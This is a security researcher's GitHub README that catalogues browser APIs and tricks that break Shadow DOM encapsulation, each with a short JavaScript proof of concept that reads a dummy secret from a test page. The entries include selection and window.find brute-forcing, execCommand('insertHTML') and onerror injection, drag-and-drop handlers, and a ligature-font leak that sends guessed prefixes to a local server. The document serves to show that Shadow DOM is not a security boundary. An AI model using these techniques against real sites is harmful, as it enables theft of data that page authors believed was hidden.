Skip to content

masatokinugawa/ShadowBreakers

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 

Repository files navigation

Shadow Breakers

This document lists JavaScript APIs to which encapsulation by the Shadow DOM does not apply. It does not include APIs that allow access by explicitly passing a ShadowRoot, such as getHTML(). The list includes only cases where at least the text content placed in the Shadow DOM can be leaked.

The purpose of this document is to show that Shadow DOM encapsulation is not perfect, especially that it should not be used as a security boundary. (Shadow DOM is not a security feature.) Please also refer to my slides from Shibuya.XSS techtalk #13: (English:Shadow DOM & Security - Exploring the boundary between light and shadow / 日本語: Shadow DOMとセキュリティ - 光と影の境界を探る).

The following PoCs show that encapsulation is broken by the fact that JavaScript executed outside the Shadow DOM can access the secret text (deadbeef) placed inside. You can test the leaks by executing the JavaScript code listed below from the browser's developer console on this test page.

If you find an interesting way to leak the text, let me know! :)

Selection.prototype.anchorNode

window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
node = getSelection().anchorNode;
root = node.getRootNode();
if(root instanceof ShadowRoot){
  alert(root.querySelector('#secret').textContent);
}

Impact

DOM node-level access

Affected browsers

Firefox

Credits

Ankur Sundara

Selection.prototype.focusNode

window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
node = getSelection().focusNode;
root = node.getRootNode();
if(root instanceof ShadowRoot){
  alert(root.querySelector('#secret').textContent);
}

Impact

DOM node-level access

Affected browsers

Firefox

Selection.prototype.getRangeAt

window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
node = getSelection().getRangeAt(0).commonAncestorContainer;// or startContainer or endContainer
root = node.getRootNode();
if(root instanceof ShadowRoot){
  alert(root.querySelector('#secret').textContent);
}

Impact

DOM node-level access

Affected browsers

Firefox

Selection.prototype.toString

// For Chrome / Firefox
window.find('This is a secret:'); // for selecting string placed in Shadow area without user interaction
document.execCommand('selectAll');// Maximize the selection range
alert(getSelection().toString());
// For Safari
// Click Shadow area
window.onclick = function(event) {
  if (event.target === shost && window.find("Shadow DOM", false, true) || window.find("contenteditable", false, false)) {
    window.find('This is a secret:', false, true);
    window.find('This is a secret:', false, false);
    document.execCommand('selectAll');
    alert(getSelection().toString());
  }
}

Impact

text access

Affected browsers

Chrome, Firefox, Safari

Notes

To reproduce this on Safari, focus must be set to an element inside the Shadow DOM before executing window.find().

Credits

Ankur Sundara

window.find

// For Chrome / Firefox
result = [];
prefix = 'This is a secret: ';
chars = 'abcdef';
secretLength = 8;
while (result.length !== secretLength) {
  for (i = 0; i < chars.length; i++) {
    char = chars[i];
    if (window.find(`${prefix}${char}`)) {
      result.push(char);
      prefix += char;
      window.getSelection().removeAllRanges();
    }
  }
}
alert(result.join(''));
// For Safari
// Click Shadow area
window.onclick = function(event) {
  if (event.target === shost && window.find("Shadow DOM", false, true) || window.find("contenteditable", false, false)) {
    result = [];
    prefix = 'This is a secret: ';
    chars = 'abcdef';
    secretLength = 8;
    while (result.length !== secretLength) {
      for (i = 0; i < chars.length; i++) {
        char = chars[i];
        if (window.find(`${prefix}${char}`, false, false) || window.find(`${prefix}${char}`, false, true)) {
          result.push(char);
          prefix += char;
          window.find("Shadow DOM", false, true);
        }
      }
    }
    alert(result.join(''));
  }
}

Impact

text access

Affected browsers

Chrome, Firefox, Safari

Notes

  • To reproduce this on Safari, focus must be set to an element inside the Shadow DOM before executing window.find().

Credits

Ankur Sundara

document.execCommand('insertHTML')

window.find('contenteditable area'); // for selecting string placed in Shadow area without user interaction
document.execCommand('insertHTML',false,'<iframe onload=alert(getRootNode().querySelector("#secret").textContent)>');

Impact

DOM node-level access

Affected browsers

Chrome, Firefox, Safari

Notes

  • To reproduce this on Safari, focus must be set to an element inside the Shadow DOM before executing window.find().
  • Additionally, Safari adds HTML inside the shadow but performs HTML sanitization, so the DOM node-level access is only possible if the bypass succeeds. The above PoC can not bypass the sanitization.

Credits

Ankur Sundara

Event.prototype.originalTarget

//Put mouse cursor on Shadow area
window.onmousemove = function(event){
  elem = event.originalTarget;
  root = elem.getRootNode();
  if(root instanceof ShadowRoot){
    alert(root.querySelector('#secret').textContent);
  }
}

Impact

DOM node-level access

Affected browsers

Firefox

Event.prototype.explicitOriginalTarget

// Put mouse cursor on Shadow area
window.onmousemove = function(event){
  elem = event.explicitOriginalTarget;
  root = elem.getRootNode();
  if(root instanceof ShadowRoot){
    alert(root.querySelector('#secret').textContent);
  }
}

Impact

DOM node-level access

Affected browsers

Firefox

UIEvent.prototype.rangeParent

// Put mouse cursor on Shadow area
window.onmousemove = function(event){
  elem = event.rangeParent;
  root = elem.getRootNode();
  if(root instanceof ShadowRoot){
    alert(root.querySelector('#secret').textContent);
  }
}

Impact

DOM node-level access

Affected browsers

Firefox

DataTransfer.prototype.mozSourceNode

// Drag something placed in Shadow area
window.ondrag = function(event){
  node = event.dataTransfer.mozSourceNode;
  root = node.getRootNode();
  if(root instanceof ShadowRoot){
    alert(root.querySelector('#secret').textContent);
  }
}

Impact

DOM node-level access

Affected browsers

Firefox

DataTransfer.prototype.getData

// for Chrome / Firefox
// Drag selected Shadow area. Leaks also occur in Safari if you manually select and drag the secret text
window.find('This is a secret:');
document.execCommand('selectAll');
window.ondragstart = function(event){
  alert(event.dataTransfer.getData('text'));
}

Impact

text access, attribute value access

Affected browsers

Chrome, Firefox, Safari

Notes

  • getData('text/html') can leak not only text but also attribute values.

InputEvent.prototype.getTargetRanges

// Type something into the contenteditable area inside Shadow area
window.onbeforeinput = (event) => {
  targetRanges = event.getTargetRanges();
  node = targetRanges[0].endContainer;// or startContainer
  root = node.getRootNode();
  if(root instanceof ShadowRoot){
    alert(root.querySelector('#secret').textContent);
  }  
}

Impact

DOM node-level access

Affected browsers

Chrome, Firefox, Safari

Drag and drop HTML to contenteditable area

img=document.createElement('img');
img.src='#';
img.style="font-size:50px";
img.alt="Drag & drop me to contenteditable area!";
img.setAttribute('onerror','root=getRootNode();if(root instanceof ShadowRoot){alert(root.querySelector("#secret").textContent);}');
document.body.appendChild(img);

Impact

DOM node-level access

Affected browsers

Firefox

Notes

  • While this isn't a JavaScript API issue, it's worth mentioning.
  • Chrome and Safari sanitize the dragged HTML when dropped.

CSS inheritance

// PoC demonstrating that SecurityMB's font-based leak technique can be applied to Shadow DOM
// https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
// Before trying:
// 1. Visit my repository: https://github.com/masatokinugawa/PoCs/tree/main/LavaDome/font-ligatures
// 2. Download them locally
// 3. Execute `npm install` and `node index.js`
// Note: This PoC is tested on Chrome and Firefox
const secretChars = "abcdef";
const prefix = "This is a secret: ";
let index = 0;
let foundChars = "";
const style = document.createElement('style');
document.body.appendChild(style);
style.innerHTML = "#shost {font-family:hack;font-size:300px;}";
const defaultWidth = document.body.scrollWidth;
const loadFont = target => {
  const font = new FontFace("hack", `url(http://localhost:3000/?target=${encodeURIComponent(target)})`);
  font.load().then(() => {
    document.fonts.add(font);
    if (defaultWidth < document.body.scrollWidth) {
      foundChars += secretChars[index];
      console.log(`Found: ${foundChars}`);
      index = 0;
    } else {
      index++;
    }
    if (foundChars.length === 8) {
      alert(foundChars);
    } else {
      loadFont(`${prefix}${foundChars}${secretChars[index]}`);
    }
  });
};
loadFont(`${prefix}${secretChars[index]}`);

Impact

text access

Affected browsers

Chrome, Firefox, Safari

Notes

  • While this isn't a JavaScript API issue, it's worth mentioning.
  • Inherited properties from the Light DOM are applied to the Shadow DOM. This means that CSS-based attacks, such as those exploiting ligature fonts, is still possible.
  • Unlike other leaks, this behavior (inheritance) is spec'd.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published